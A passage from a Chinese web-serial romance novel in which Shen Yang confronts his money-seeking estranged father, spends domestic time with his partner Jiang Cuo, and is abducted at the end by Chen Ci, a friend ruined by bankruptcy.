江措调查过他,前天晚上还给沈泱讲过,沈建海很反感同性恋,住在他旁边的白男是同性恋,因为看见过对方和男朋友亲热,两人还爆发过矛盾。 为什么能够这么轻而易举地接受沈泱有一个男朋友呢? 当然不是因为愧疚而不敢对沈泱的情感生活提出质疑,毕竟沈泱可是故意说了十八岁就在一起了,如果首先诞生的是愧疚,应该是担心被扔到贫穷落后的偏僻山村里的沈泱是有什么难言之隐吧。 眼神里涌动的是会悔恨懊恼自责的情绪,就像舅舅总担心十八岁的沈泱是被江措哄骗了才和他在一起的。 可是一句关心的询问都没有,只是挤出笑脸来说几句无关痛痒的话。 很久很久之前,沈泱就意识到沈建海对他的父爱是很廉价庸俗的,当沈建海有钱有势的时候,当然愿意为自己的孩子提供优渥的生活,也愿意付出一些自己的精力和时间,但当这一刻沈泱才清晰地认识到,这份父爱和沈泱小时候以为的有多大的出入。 明明在很小的时候,沈泱真的以为他有天底下最好的父亲,尽管他不是最好的丈夫。 沈泱心像是被刀刮了一下,霍然起身,板着脸朝外走。 江措起身跟在沈泱身后。 沈建海见沈泱要走,连忙追上去,拉住他的衣袖,“沈泱,你现在住在哪里?是来美国旅游的吗?” 沈泱脸色阴沉地拍开他的手,转身又要走。 沈建海赶紧道:“沈泱,你有钱吗?可以给爸爸十,不,一百万美金吗?” 沈泱止住了脚步,浑身僵硬。 沈建海急切道:“有吧,肯定有吧!儿子,你这一身衣服都是范思哲的,都是大牌子!!你给爸爸一百万美金吧,我年龄大了,不能一直当工人啊,你给我一点钱,等我创业成功了,我的钱都是你的啊,沈泱。” 他看沈泱的眼神完全就是赌徒看见他最后筹码的眼神,带着孤注一掷的决绝,等待着唯一的筹码帮他翻身。 “我这些年不是不想回去看你,但是爸爸没钱啊,我怎么有脸回去看你呢!”沈建海明明比沈泱高一点,脑袋却比他矮半寸,仰着头望着他,中年男人挂不住皮肉的脸上充满了热切的渴望,“沈泱,就一百万美金,一百万就好,你肯定有的吧,肯定有的吧!” “只要一百万,我肯定能东山再起的。” 沈泱退后了半步,再一次甩开了沈建海拽着他的手,冷声道:“我不会给你的,我一分钱都不会给你的!” 沈建海脸色一变,急切地道:“沈泱,只一百万而已,爸爸以前对你那么好,你从小到大要什么爸爸都给你买,现在只是问你要一百万而已啊!!” 沈泱转过身,大步流星地离开了咖啡厅。 宾利快速地驶离咖啡厅所在的街道,沈泱上了车之后,就把脑袋埋在了江措的怀里,江措用手摸了摸沈泱的脸颊,毫不意外地摸到了濡湿。 江措的心脏像是被火烫了一下。 “宝宝,宝宝,别哭了。”江措抬起他的脸,低下头,吮掉他脸上一串一串往下掉的泪珠,哑声道。 江措没有美国的驾驶证,当然不能开车,开车的是酒店的管家覃明,他目光扫到后视镜里的这一幕,非常有职业素养地升起挡板。 “江措,我讨厌他!”沈泱趴在江措的胸口哭了一会儿,才泪眼婆娑地骂他,“我真的很讨厌他!!” 江措不喜欢沈泱的这句话,他不喜欢沈泱讨厌别人,因为憎恨也是要付出情绪,比起憎恨,江措更希望他不在乎,无所谓,漠视对方。 江措低声说:“沈泱,那就讨厌他。” “他不配做我的爸爸!” “他早就不是你的爸爸了。” 沈泱头埋在江措的脖颈上,抽泣了几下,忽然轻声说:“他以前明明对我很好的,对我很好的,我想要的玩具他都会买给我,以为我被别的小朋友欺负了,哪怕对方的父亲是工商局的领导,也气势汹汹找对方父母算账,我生病了,他从外地回来就直奔医院,不眠不休地陪着我。” 说着说着,沈泱抬起头,目光无助地望着江措,“江措,那些爱都是假的吗?” “当然不是,沈泱。”沈泱在沈建海抛弃他接近十年后,情绪还会因为他剧烈地起伏,而不是完全地憎恨或者漠视,他对这个父亲曾经肯定是有感情的,沈建海或许也为他付出过一些父爱。 “只是,他变了。” 沈泱盯着江措,忽然张开嘴,恶狠狠地咬住了他的脖颈,江措没有反抗,只是接受。 感受到舌尖传来一丁点的血腥气,沈泱松开江措,语气凶狠道:“江措,你要是敢变了,我就杀了你。” 他讲这样凶神恶煞的话,齿尖还带着一点刺目的猩红,却是泪眼婆娑的,泪眼朦胧的,像是一只大雨滂沱里的可怜兮兮的波斯猫。 江措搂紧沈泱,低声道:“宝宝,如果有那一天,我就自己杀了我自己。” 而后盯着沈泱,深邃的眉眼蕴含着一点压抑的不快:“沈泱,你又怀疑我对你的心了!” 沈泱一听江措的语气,立刻拉开和江措的距离,“江措,你听听,你对我是什么说话的语气啊?我刚刚可是遭受了来自亲爹的打击!!” “再说了,你还敢怪我!我怀疑你对我的心了?那该反思的不是你自己吗?你自己不应该好好想,你到底有没有时时刻刻都把我放在心上?有把我当做你最重要的人吗,是不是你哪里做的不够好了?让我没有安全感了!!!” 江措听沈泱说完,脑袋上的青筋突突直跳了两下,但又见沈泱的双眼不再是红肿无措,而是充满了勃勃的生气。 江措好脾气地道,“你说的对,我会好好反思自己。” “你没盯着我的眼睛说,江措,你这个大混蛋,你在敷衍我!” 江措看着沈泱的眼睛,“我会好好反思自己的。” 沈泱心里还是不舒服,还是不满意,他气愤地道:“我说什么你就做什么,真正把我放在心上不应该是在我没说话之前就理解我想要什么吗?江措,你他妈果然没把我放在心上!” 江措青筋又跳了两下,没说话了,只是低下头,吻住了沈泱的嘴唇—— 作者有话说: 沈泱:心情不好,找江措出出气!! 江措:可以找我出气,不可以找别的人出气。 第67章 宾利停在江措入住的别墅停车场里, 覃明犹豫了一会儿,还是没有出声,只是静默地离开了驾驶舱。 “到酒店了!”沈泱说。 隔板虽然能隔绝和驾驶座的绝大部分动静, 但酒店提供的车辆没办法完全隔绝, 汽车驶进酒店,覃明下车江措全都能注意到。 “江措,我不会给他一百万的!”沈泱双腿跨坐在江措的大腿上, 嘴唇通红地说。 “嗯,不给。”一百万美金对现在的江措来说, 不是一笔大数字。 过了一会儿,沈泱和江措还是没有下车, 狭窄的车厢里, 沈泱直起了身体, 盯着江措说:“他如果能够活到七老八十, 完全丧失劳动能力, 我每个月可以给他两千块的赡养费。” “就, 就当还他小时候给我用的钱了。” 江措心道, 比起老了的赡养费,沈建海可能更想要一次性的一百万美金, 他的创业心还没有死, 意图东山再起。 不过沈建海的想法完全不在江措的度量范围内。 “我知道了。”江措说。 “以后不要再记挂他了, 他还好好地活着。”江措看着沈泱说。 “我什么时候记挂他了,我那是有时候讨厌他!” 江措盯着沈泱, 深邃的瞳仁一眨不眨地望着他, 过了一会儿,才压低了声音道:“也不要讨厌他,沈泱, 不要在我之外的人身上浪费你的时间和精力。” 沈泱心脏快速地跳动了两下,鼻尖发出一声重哼,“看我心情啦。” 江措盯着他红得过分的嘴唇,又抬头,吻了上去。 翌日,两人乘坐飞机回到国内,抵达申城机场已经是晚上九点。 出国十多天,沈泱有了轻微的时差,一晚上都没睡着,天亮了才躺下了,江措则在早上的九点,准时出发去公司上班。 晚上有个晚宴。 是江措认识的一个合伙伙伴和夫人的银婚晚会,江措计划去参加,沈泱白天睡得太久了,晚上没事干,他也要去参加。 这种晚会沈泱和江措参加的次数都不多,但都参加过几次,沈泱下午提前做了造型,江措回家后换了一身黑色西装,开车和沈泱去近郊的一栋庄园。 徐董的夫人应该喜欢粉色的花,场地里大片大片绚烂的粉色花束,似乎进入了一个粉色的海洋世界里。 江措带着沈泱和徐董和徐夫人打了招呼,然后一个认识江措的,文质彬彬的男人找江措聊天,沈泱听他们聊的都是他不感兴趣的内容,指了指不远处的甜品区,暗示江措自己过去吃甜品。 江措点了点头。 沈泱朝着甜品区出发了。 他拿了一块葡式蛋挞,味道不算好吃,不算难吃,刚想换一个甜品,沈泱看见不远处有一个熟人,正是李冬的女朋友明棠,明棠和沈泱聊了一会儿天,去找自己的朋友了,沈泱又看见了一个熟人,陈辞。 陈辞穿着一身定制的西装,也和身前的男人结束了交谈,转过头,刚好看见了不远处的沈泱。 陈辞的干爸公司总部在南城,只是几年前,陈辞毕业后,接手了一家申城的子公司,他蛮多时间都在申城,只是今年年初他又调回了南城,没想到今天能在这里碰见他。 沈泱走了过去,朝他的四周张望,“陈辞,你女朋友没和你来啊。” 陈辞大一的时候追过沈泱,还向沈泱炫耀过自己当时的财力,后面因为一张江措幼年的照片获得了沈泱部分的原谅,大二的时候发现陈辞竟然和女生谈恋爱,沈泱震惊不已。 起初还以为是陈辞同性恋装异性恋,沈泱还想要揭穿对方的真面目,后来发现陈辞好像也能喜欢女生,反而是那个女生骗了他,和对方分手后,陈辞恍惚难受到酒精中毒,差点一命呜呼。 沈泱对他有了点同情,把差点酒精中毒陈辞送到了医院,也是因此,江措忽然允许沈泱可以和对方来往了,陈辞恢复后,也给正在创业中的江措帮了点忙,三个人勉勉强成了朋友。 陈辞去年夏天交了他的第三个女朋友,据说是船王的千金。 陈辞这个人感情不顺利,向沈泱表白,沈泱不喜欢他,第一个女友是因为她讨厌的人喜欢陈辞,抱着报复对方的念头接近他,第二个女朋友和陈辞谈了没多久,据说和初念复合了,第三个交往快两年了,目前似乎还挺稳定的,冲着结婚去的。 沈泱现在也把陈辞当做他的朋友,自然希望他能和女朋友顺顺利利的。 陈辞说:“……她今天有其他安排。” 话音落下,陈辞眼神落在沈泱的胸口上,定制的黑西装胸口挂着一枚翡翠绿的粽叶形胸针,只要是稍微长了点眼,就能知道沈泱从头到脚衣着不菲,可对于他们这样的人来说,几万块,十几万的衣服倒是不贵,只是沈泱胸口的那枚胸针…… “江措送你的?” 沈泱低头一看,“对啊,江措送我的。” 沈泱是个男生,不是什么爱穿着打扮的男生,他不喜欢戴首饰,没有耳孔,不怎么戴腕表或者手链,总觉得戴在手腕上影响他工作或者用手机,江措送给他的首饰大部分是脚链,更多的则是金条。 江措觉得黄金漂亮又保值。 沈泱同样如此认为。 胸前的胸针还是江措出国前送给沈泱的,说是一个拍卖会拍来的,沈泱便随手放在了衣帽间里,今天要来参加人家的晚宴,看到这枚胸针,觉得很适合今天的衣着,便戴上了。 “拍卖会上拍的啊。”听到沈泱这样说,陈辞几乎是确定了这枚胸针的来历,他神色复杂道,“它挺贵的,你戴好了。” “那要多少钱?”沈泱想也知道江措送给自己的东西不会便宜,江措只有给自己买东西的时候,才会展露他原来是穷人的本质,超过两百块的睡衣就觉得贵。 至于沈泱的睡衣,两千块都不眨眼。 “几十万吗?”一个胸针而已,的确是太贵了!江措有时候真的是太舍得给他花钱了!! 岂止是几十万啊。 陈辞在心里感慨着,也在心里复杂着。 就在这时,余光瞥见一个高大的人影走了过来。 江措走到沈泱身旁,眼神看着对面的陈辞,还没等江措开口,一个中年男人在旁边热络地叫了一声江总,快步朝江措走了过来,微微弯腰伸出自己的双手。 陈辞在看到来和江措寒暄的男人时,脸色稍微变了变。 江措转过身,伸出一只手,礼貌地和对方握了握。 中年男人没和江措说太多话,身后又有熟人叫他的名字,和江措寒暄两句,转身离开了。 “江措,陈辞怎么走了?”江措转回身时,陈辞已经不在沈泱的对面了。 江措目光朝周围一扫,没扫见陈辞的身影,淡声道:“或许他有事。” 沈泱想了想,说:“我感觉陈辞今晚心情不是很好。” 江措皱眉:“你还关心其他男人的心情?” 沈泱翻了个白眼:“你能不能关注一下重点啊!”沈泱目光在人堆里晃了晃,“就是感觉陈辞今晚不太对头。” 思索了一下,沈泱手臂撞了撞江措的手臂,轻声道,“你说他是不是又和现在的女朋友分手了啊?” 江措盯着沈泱看了片刻,摇头,“应该不是。” 他说道:“陈钢应该要破产了。” 陈钢集团是陈辞干爹陈兵的公司,沈泱虽然不了解这个公司,但也知道这曾经是个赫赫有名的大公司。 沈泱震惊道:“怎么就要破产了?” 南城和申城不远,江措了解一些内情,“陈兵老了,集团内部争权夺利又厉害,何况,传统行业这些年本来就在走下坡路。” 沈泱又朝人群里张望了一番,蹙眉道:“难怪陈辞心情不好。” 和陈辞的关系只是寻常朋友,沈泱也没放太多注意力在他身上,参加完宴会,就和江措回家了。 翌日,江措准时下班,沈泱在公司的停车场等着他。 胡大江去年结了婚,上个月生了个女儿,上周末他给女儿办满月酒,沈泱和江措在国外,没办法参加,得知他们回来了,要请他们俩吃饭,顺便给他们俩瞅瞅他的宝贝女儿!! 沈泱还有些兴奋,胡大江算起来是沈泱年少时认识的第一个结婚生子的朋友。 “我闺女漂亮吧,你们看看这大眼睛,像不像我!”胡大江怀里抱着一个睁着眼睛的女婴,嘚瑟地炫耀道。 沈泱点头:“眼睛的确很大,像你。”就是另外一句话沈泱没有说出来,皮肤也像你了,太黑了! 小女婴似乎听到了沈泱的声音,眼神朝沈泱看了过来,然后呆呆地盯着沈泱看了半天,露出一个笑。 “她刚刚是不是对我笑了啊?”沈泱惊喜地道,又凑近了一点,“胡媛媛,你再笑一个。” 一个多月的小朋友哪怕会笑,都是无意识地笑,不过胡媛媛听完沈泱的话,竟然盯着沈泱,小小的脸上又露出个纯粹的笑容。 沈泱仔细地观察她,“她的手好小啊,一个拳头都没有我的两根手指大。” 胡大江:“生出来更小,就比小猫崽大一丁点,我都不敢抱她!” 胡大江把胡媛媛放进婴儿车里,胡媛媛也不睡觉,就睁着大眼睛,一会儿看看沈泱,一会儿看看胡大江。 沈泱和江措从胡大江家里离开时,接近九点了。 江措驱车回家,结果奔驰刚进小区门口,似乎出现了一点小故障,江措立刻靠边停了车,睡着了的沈泱被一个急刹吵醒了,“江措,到家了?” 他睁开眼睛,发现这似乎才刚进小区,还没到他们俩住的那幢别墅前。 “引擎似乎出问题了,没办法继续开了。”江措解开安全带。 “那叫保险公司的人吗?”沈泱睡眼惺忪地问。 “明天我打电话,今天太晚了。” 江措伸长手臂,帮沈泱解开安全带。 沈泱下了车,说道:“那我们走回去吧。” 江措应了一声好。 沈泱没走几步,忽然停下了脚步,他打了个呵欠,望着柔和路灯下的高大男人,眼睛分泌出一点困倦的生理泪水。 沈泱想要把时差调整回来,今天白天都没睡觉,就想晚上好睡觉,“江措,我好困啊,我不想走路了。” 江措目光定在沈泱身上几秒,忽地转过头,在沈泱身前蹲下来,宽阔的成年男性脊背暴露在沈泱带着水光的眼底,“上来,我背你。” 沈泱唇角扬起一点笑意。 他熟练地趴在江措的后背上,修长的手臂伸出来,虚虚搂住了江措温热的脖颈。 江措的两只手牢牢地托在沈泱丰腴的腿根上,手指陷进去,他紧致的胳膊微微发力,背着沈泱,直起了身。 沈泱起初是真的犯困,靠在江措后背上,走了几步后,沈泱的困意忽然消散的差不多了。 头顶是一弯温柔的冬日明月,沈泱的头埋在江措的脖颈上,两只细长的腿在江措腰侧一晃一晃的,他忽然说:“江措,你还记得你第一次背我吗?也是在一个月色很好的晚上。” “记得。”那一年,他们还在偏僻的高原山村,是沈泱受了伤,他急匆匆地将他送去邻区的诊所,回家的路上沈泱差点被田坎绊倒了,于是他背他回家。 沈泱感慨道:“好快啊,都快是九年前的事情了,胡大江都结婚了,还有女儿了。” 沈泱忽然直起了身体。 这个动作很危险,江措收紧握住他大腿的力气,威胁性地叫了一声沈泱的名字。 沈泱两只手搂住江措的脖颈,盯着江措那一点可以看见的侧脸道:“江措,你说等我们再大一些,三十多四十岁的时候,要不要去领养一个小孩啊?” 江措拧了下眉,走路的步伐依然很稳,没让沈泱觉得不舒服,“你想要养一个小孩?” 沈泱想了想说,“那不然我们老了怎么办啊?岂不是没人照顾我们,就算我们有钱,那孩子总是比护工们要贴心吧。” 江措眉眼不惊地说:“我会照顾你。” 沈泱趴在江措宽阔的后背上,“六十岁的时候你还能照顾我?” “我可以。” “七十岁呢?”沈泱又问。 “当然也可以。” “八十岁呢,江措,那时候你都是一个走不动路的老头子了。” “沈泱,那我也还会陪在你身边的。”江措略作停顿后,还是沉声道,“才八十岁,我不至于走不动路。” 沈泱笑了,柔和的月光洒在他的脸上,他唇角往上翘了翘:“江措,你会陪我多久啊。” “直到你死的那一天。”江措低沉而明晰的声音传进沈泱的耳膜里。 沈泱伸出手,捏了捏江措的耳朵,江措的身体虽然没有沈泱那么敏感,但耳朵被人摸来摸去,还是会心浮气躁,就在他打算叫沈泱的名字时,沈泱忽然凑近他的脸颊,朝他的侧脸快速地啄了一下,“江措,喜欢你啊。”—— 作者有话说:收尾这几章,很卡,抱歉更的晚了[可怜][可怜][可怜] 第68章 转眼又是一周多过去了。 今日是周六, 午后江措和沈泱出了门,买了沈泱想买的盲盒,又去了新开的水族馆, 晚上吃过晚饭, 沈泱的精神还不错,江措带着他去商场购置几身冬装。 给沈泱买东西算是江措为数不多的爱好中的一个。 买完了东西,江措拎着几个购物袋从大牌服装店里走出来。 忽然, 江措的脚步一顿。 沈泱的脚步也顿住了,两个人朝着不远处看过去。 斜对面的一家商店门口, 陈辞拦在一个中年男人身前,急切地说着什么, 中年男人听他说完, 不耐烦地说了两句话, 带着身旁的女伴离开。 陈辞又急忙追上去。 中年男人似乎烦了, 一把推开他。 陈辞往后踉跄了两步。 隔的距离有点远, 沈泱和江措没办法完全听清楚对方说了什么, 但能看见对方脸上的表情愈发的不耐烦了。 中年男人带着女伴疾步离开了商场。 陈辞满脸郁色地站直了身体, 余光忽然也扫到了不远处的沈泱和江措,他怔愣了几秒, 旋即垂着脸, 脸色阴郁地从朝另外一个方向走去。 沈泱盯着陈辞的背影道, 迟疑道:“我们要不要过去和他打个招呼啊?” 江措牵着沈泱的手,“不用了, 他现在应该不想看见我。” 沈泱想了想, 也是,江措这个占有欲这么强的醋精能够允许沈泱后来和陈辞有来往,不外乎也确认了一件事, 或许年少时的陈辞的确喜欢沈泱,但有一部分来源于对江措的妒忌。 毕竟,被追求的沈泱拒绝,陈辞可是两三天放下了,还送来江措童年的照片赔礼,和初念分手时,陈辞难过的差点命都赔了进去。 沈泱当然也能发现这点,毕竟当初陈辞要去南城了,竟然还大费周章地来到了久塘一中对江措炫耀。 陈辞现在低声下气地求人,怕是最不想看见的人就是江措了。 两个人离开了商场,上了奔驰。 江措开车,沈泱坐副驾驶,他看了下自己的微信消息,穆宁然给他发了他在游轮上的照片,回了他的消息,等待对方回消息的时候,沈泱刷了刷自己的朋友圈。 然后他发现了一件事。 他举着手机,趁着红灯的间隙把手机拿到江措的眼前,“江措,你看,是路萍萍的朋友圈,她说她是单身!!!” 路萍便是陈辞交往了接近两件的女朋友,沈泱盯着路萍回复的消息,震惊道:“她和陈辞分手了?” 红灯变绿了,江措发动引擎,回应了一句,“或许。” 沈泱盯着路萍萍发的单身party照片,又想起陈辞刚刚失魂落魄的样子,陈钢集团前几日已申请了破产清算,据说陈兵病重,现在住进了ICU,陈辞和其他陈家人关系又不好,现在又和女朋友分了手。 沈泱琢磨了一会儿,说:“我要不要发个消息安慰一下陈辞啊?” 不等江措说话,沈泱摇了摇头,“算了,你说的对,陈辞应该不想我们知道他现在有多糟糕。” 江措扫了一眼沈泱,没吭声了。 只是又过了几分钟,沈泱又纠结道:“要不还是安慰他两句?感觉他现在挺可怜的。” “沈泱。”江措沉声叫他名字。 “嗯?” “你已经为别的男人纠结了二十分钟了。” 沈泱翻了个白眼,“那让我再为别的男人纠结个十分钟。” 前面又是红灯,江措踩下刹车,面无表情地盯着沈泱。 沈泱笑了笑,凑近江措,用力地亲了一下他的唇角,甚至亲出了响亮的嘬声,“满意了吗?” 江措还是没有表情地盯着他。 沈泱又偏过头,在他的另外一侧脸颊上响亮地亲了一下。 十来分钟后,两人回到家,沈泱思来想去,还是给陈辞发去了几条表示关心的消息。 没过几分钟,陈辞发来了回信,发了一个表情包表示他没事,又说不用沈泱担心。 转眼又是大半个月过去了。 江措和沈泱约好了晚上一起去外面吃饭,这天江措的工作提前半个小时结束了,沈泱却还在录音棚里,他给江措发消息,今天的录音不太顺利,要晚一些时间才能下班。 问清楚他今天在哪里录音后,江措干脆驱车去录音室等他了。 申城的录音工作室就那么几家,圈子小,因为接送和陪伴沈泱,这两年江措基本每个工作室都去过,申城从事配音的工作人员江措几乎认识了绝大部分,问清楚困水今天在哪个棚后,江措在外面等着他。 差不多在外面棚外站了十分钟,沈泱才看到了江措,他眼睛亮了亮,然后又专心致志地投入了工作里,江措等了快一个半小时,沈泱才结束了今天的工作。 江措拿过沈泱的保温杯,里面已经没有水了,江措先去接了一杯温水,才回到了沈泱的身旁,将小鸡黄的保温杯递给他。 沈泱接过水杯,仰起头,喉结快速滚动,不多时,半杯水就咽入了沈泱的腹部。 沈泱用舌尖舔了舔唇角的水珠。 江措接过水杯,帮他拧紧杯盖。 沈泱说:“刚刚最后那几句话喉咙都差点给我吼哑了,江措,你不知道我今天说了多少句话,我今天来配的这个角色话超级多!” 沈泱说到最后几个字,嗓音肉眼可见地沙哑。 江措接过沈泱的帆布包,瞟了他眼,道:“实在是有些辛苦的工作。” 沈泱赞同地点了点头,喉咙又觉得有些干哑,他示意江措把他水杯递给他,他想要再喝一点水。 江措习惯于伺候沈泱,拧开杯盖,将保温杯递给沈泱。 沈泱接过保温杯的时候,江措平静的声音在他耳畔响起,“既然这么辛苦,以后就不要来配音了。”—— 作者有话说:江措虽然接受了老婆的工作,但还是要习惯性地怂恿老婆别来上这破班。 今天短短的,可恨当初有存稿的时候,我太铺张浪费了[抱大腿][抱大腿][抱大腿] 第69章 沈泱:“……” 沈泱拿过水杯, 忍不住抬脚给了江措两下,只是沈泱也清楚江措这话只是说说而已,他虽然不喜欢沈泱配音, 不喜欢沈泱的声音被许多人听见, 但现在的确可以为了沈泱的喜欢做出一些让步。 等沈泱把水杯里的水喝完,江措翻了翻沈泱的帆布包,拧了拧眉道:“没带胖大海?” “没有吗?”沈泱哑着嗓子, 凑近了问道。 他对自己的生活不太上心,主要是江措把他照顾的太好了, 衣食住行江措都会给他准备好。 江措拧眉:“早上出门有提醒过你,我放在茶几上了。” 沈泱不乐意了, “你既然都知道给我放在茶几上, 为什么不能给我放在包里!” 江措看了他一眼, 没和沈泱争辩, 既然没有胖大海, 江措只好又给沈泱接了一杯不冷不烫的温水, 等上了汽车后, 江措打开中控台里面的抽屉,拿了一颗自从沈泱开始配音后, 他车里就没缺过的润喉糖递给沈泱。 吃了润喉糖, 沈泱干涩的嗓子好受了不少。 没挑重口味的餐厅, 选了家清淡的粤菜,沈泱和江措坐在临窗的卡座前, 沈泱笑吟吟地说话, 讲他今天的工作,说他的同事问沈泱身旁有没有合适的男生介绍给他,沈泱把同事的要求和条件说了, 问江措的公司有没有适合的男生。 不多时,两个人点的菜上来了,沈泱和江措一边吃饭,一边聊天。 与此同时,几公里外的一家中餐厅里,陈辞一拳砸在沐光丰的脸颊上,额头上青筋暴动,“沐光丰,我特么那么信任你,你就是这样对我的吗?” 陈辞八年前认了陈兵为干爹,来到了繁华璀璨的南城,过上了另外一种孑然不同的富贵生活。 他早两年就估计出陈钢不行了,一直在为自己准备后路,拿钱开了一家公司,现在陈钢眼看就要破产了,陈辞心烦意乱,但还没到走投无路的情况,直到昨天忽然发现,他最信任的好朋友竟然带着公司的骨干成员跳槽了,成立了另外一家业务一模一样的公司!! 沐光丰挨了陈辞两拳,等陈辞想要打第三拳的时候,一巴掌推开他,“行了啊,人往高处走,水往低处流,我给你打了几年工还不够吗?难道我还要给你打一辈子的工吗?” “你他妈卷走我公司的所有客户,你还觉得对得起我?”陈辞又一拳挥了过去。 沐光丰暴躁地还起手来,围观的群众觉得不妙,打电话报了警。 一个多小时后,陈辞带着满脸的青紫从警察局里出来,刚打算开车去医院,电话忽然响了起来,是一个没有备注的电话号码,看到这个电话号码,陈辞心里一紧。 对方打来第二个电话的时候,陈辞拿起了手机。 一个陌生男人的声音在耳膜里响起,“陈总,你这个月欠款的利息还没有打给我们呢。” 陈辞深吸了一口气,“今天出了点意外,明天我会打给你。” “好嘞,你也是有名有姓的大人物,我想哪怕陈钢破产了,你也不差这千百万的!” 对方挂了电话后,陈辞哐当一声将手机砸向防风玻璃,额上青筋毕露,他深吸一口气,汽车快速地行驶在六车道时,一路上超车无数,引起无数的鸣笛。 直到遇到了一个红灯,陈辞停下车,手指烦躁地抓了抓头发,余光瞥向一旁的马路,却见一家灯光明亮的餐厅窗边,坐着两个熟悉的青年,其中一个西装笔挺,另外一个穿着休闲的冬装。 那个长相精致漂亮的青年拿着叉子,脸上带着笑不知道说了些什么,坐在他对面的高大青年伸出了手掌。 两个人的气氛看起来有一种令人嫉妒的温馨融洽,车载广播不知道何时换成了财经频道,主持人正在大肆宣扬三点集团抢占国外市场获得的成绩,又感慨集团的创始人竟然是那么年轻的一个青年。 陈辞越听心里越烦躁,他一拳砸过去,广播传来滋滋的电流声,而后声音终于消失了。 沈泱今天休息的时候,和同事学了点看手相的本领,他捏着江措的指腹,正兴致勃勃地观察他的事业线,忽然见江措侧身往窗外看去,沈泱也扭头朝窗外看过去,“在看什么?” “没什么。”江措没发现什么异常,收回了视线。 又过了几天,陈兵终于脱离了危险,从ICU出来了,陈辞得知这个消息后,开车赶往医院去看望陈兵。 陈兵住院,是因为身体本来就不好,加上公司破产情绪剧烈起伏,孱弱的身体受不了强烈的刺激,差点一命呜呼,好不容易才抢救回一条命,现在刚脱离危险。 陈兵喘着粗气躺在病床上,见陈辞来了医院,陈兵指挥护工把床头调高,他身上扎着很多根管子,有些无力地看了陈辞一眼,尽量显得不那么虚弱,“公,公司怎,怎么样了?” 陈辞沉默须臾后道:“已经在走破产清算的流程了,公司的资产都被冻结了。” 这些话刚刚都有人来说过了,陈兵攥紧床单,不甘心地道,“就,真,真没有办法了吗?” 陈辞道:“干爹,已经在走破产清算的程序了,的确没有办法了。” 陈辞听完,干瘦手背上的青筋骤然暴起,他不知道哪里来的力气,忽然握住了床头柜旁边的一瓶药,朝陈辞砸了过去,“你,你个没用的东西,竟,竟然把我一辈子的心血都毁了,你,你是怎么当的总,总经理!” 陈辞压抑住心里的火气,他大部分时间都在一间不重要的分公司上班,就算年初回到了总公司,那不也是陈兵自己发现自己的亲生孩子太过荒唐,可是他那是什么狗屁副总经理,各部门的人都仗着是都是陈兵的亲戚,根本不搭理他的改革方案,何况公司的积弊已深,哪里是他可以解决的。 不过估计着陈兵的身体,陈辞什么都没说。 陈兵躺在病床上,呼吸粗重地喘了几口气,哑声道:“三点,三点,如果我当初执意带回来的是江措,而不是选了你这个废物,我的公司,我的公司就不会破产了!” “都怪,怪我,明明江措什么都比你,比你厉害的!” 陈辞的呼吸猛然重了两分,他盯着床上吐字艰难的老人,蓦地转过头,离开了病房。 刚走出病房后不久,陈辞的手机就响了起来,他盯着手机看了好半天,才看清楚来电显示是谁。 陈辞刚打算接通电话,对方却又把电话挂断了。 陈辞深吸了一口气,把电话回拨了过去。 等对方接通后,陈辞笑着问,“沈泱,怎么忽然想到给我打电话了?” 沈泱道:“陈辞,我刚刚按错了,我本来是想给我另外一个朋友打电话的。” 沈泱刚刚想给穆宁然打电话的,那个时候动漫又放到了高潮,一个没注意,手快,按错了电话。 陈辞轻笑一声,“这样啊,我还以为你有事找我呢。” 沈泱关掉了iPad,听着陈辞似乎没有问题的声音,犹豫了一会儿,问道:“你还好吗?陈辞。” 沈泱前两天刷朋友圈,还看见了刚和陈辞分手不久的前女友竟然又官宣了新男友,沈泱不知道陈辞心里还有没有对方,也不好问,如果没有感情了还好,如果还有感情,自己现在事业不顺,家庭不顺,喜欢的人还开开心心地官宣了新男友,陈辞现在的心情应该挺难受的。 沈泱现在过得好,脾气要柔软了不少,很多人越长大越冷漠,沈泱相反,现在比年少时脾性要更柔软一些。 陈辞没直接回答这个问题,他沉默了一会儿,忽然哑声问,“沈泱,你和江措还好吗?” 沈泱刚刚想的是陈辞和女友分手的事,冷不丁听到对方这样问,以为他关心的也是他和江措的感情。 沈泱用力地一点头,“当然好了,陈辞,你不要太难受,对方和你分手,只是说明对方和你没有缘分,世界上肯定会有真正的感情的,就像我和江措一样,你看,我们都在一起快十年了,所以你也不要太难受了。” 陈辞又沉默了一会儿,然后说:“沈泱,你可不可以……” 沈泱:“可以什么?” 陈辞顿住了脚步,过了一会儿,深吸口气道:“可以出来陪我喝杯酒吗?我现在心情挺不好的。” 沈泱毫不犹豫地拒绝:“我不喝酒,对嗓子不好。” 陈辞说:“那你不喝酒,我选个清吧,我喝酒,你喝饮料。” 沈泱想了想,觉得陈辞的确是有些可怜,而且他今天也没别的事情做,便同意了。 不多时,陈辞把位置发给了沈泱。 沈泱出门前,先发了消息朝江措报备,只是江措才给他发了消息,说要开一个很重要的会议,没能及时回复沈泱的消息。 江措开完会已经是两个小时后了,窗外的天彻底黑了,江措摸出手机,看见沈泱两个小时前给他发的消息,说陈辞心情不好,约他去清吧喝酒。 江措皱了下眉,干脆给沈泱打了一通电话过去,但是直到电话自然挂断了,对方也没接。 江措又给沈泱打了一通电话过去,这一次电话竟然直接被挂断了—— 作者有话说:晚安,应该就剩下一两章啦(*  ̄3)(ε ̄ *)《 》 【正文完结】 第70章 沈泱睁开眼睛, 一时间还没有意识到自己是在哪里,他动了动胳膊,这才发现一件事, 他的双手竟然被反绑在身后, 双脚也没办法挪动,因为也被绑住了。 很近的距离传来什么东西被放下的声音,紧接着, 昏暗的视线里明亮了一点,也只是一丁点。 车厢顶灯被打开了, 沈泱这才发现他在一辆奥迪的后车座上。 陈辞搁下罐装啤酒,扭过头来, 双眼有些发红, “沈泱, 你醒了?” “陈辞, 你在做什么?你放开我!!”沈泱双手使劲, 想要挣脱双手的束缚, 然而无济于事。 陈辞仰起头, 易拉罐里剩下的半罐酒一饮而尽,他随后把啤酒罐朝副驾驶一扔, 他轻声再次问道:“沈泱, 江措和你在一起很幸福吧。” “你他妈松开我, 陈辞,你这是犯罪你知道吗?”沈泱还在使劲和捆绑他的两根领带做斗争, 他张嘴叫救命, 声音大声地吼出来,没有任何回应。沈泱抬头朝窗外看去,发现这没有在市区, 而是在荒郊野外,四周寂静无声。 没等到沈泱的回答,陈辞自言自语道:“是很幸福的吧。” 这个问题他今天约沈泱喝酒的时候就问过了,沈泱回答当然了,他白皙的脖颈高高仰起,神色不带丝毫阴霾,又真心实意地宽慰他,他这些年只是运气不好,所以没遇到真正的幸福。 